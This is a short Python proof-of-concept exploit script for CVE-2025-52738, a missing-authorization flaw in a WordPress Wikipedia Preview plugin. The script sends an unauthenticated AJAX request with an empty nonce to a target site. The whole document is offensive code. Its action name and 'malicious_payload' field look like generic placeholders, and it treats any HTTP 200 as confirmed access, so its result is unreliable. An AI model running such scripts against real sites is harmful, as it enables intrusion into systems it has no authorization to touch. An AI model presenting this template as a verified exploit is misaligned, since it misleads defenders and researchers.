CVE-2025-52738

import requests # CVE-2025-52738 PoC - Missing Authorization in Wikipedia Preview Plugin # Target: WordPress site with vulnerable wikipedia-preview plugin (<= 1.15.0) target_url = "http://target-wordpress-site.com" # Step 1: Identify vulnerable endpoint # The plugin exposes certain AJAX actions without proper capability checks vulnerable_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/wp/v2/pages" ] def exploit_missing_authorization(): """ Exploit for CVE-2025-52738 This PoC demonstrates how an unauthenticated user can access privileged operations due to missing authorization checks. """ # Construct malicious request to trigger unauthorized action payload = { "action": "wikipedia_preview_privileged_action", "nonce": "", # No nonce required due to missing auth check "data": "malicious_payload" } # Send request without authentication response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", data=payload, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If successful, unauthorized access was achieved if response.status_code == 200: print("[+] Vulnerability confirmed: Missing authorization detected") return True return False if __name__ == "__main__": exploit_missing_authorization()

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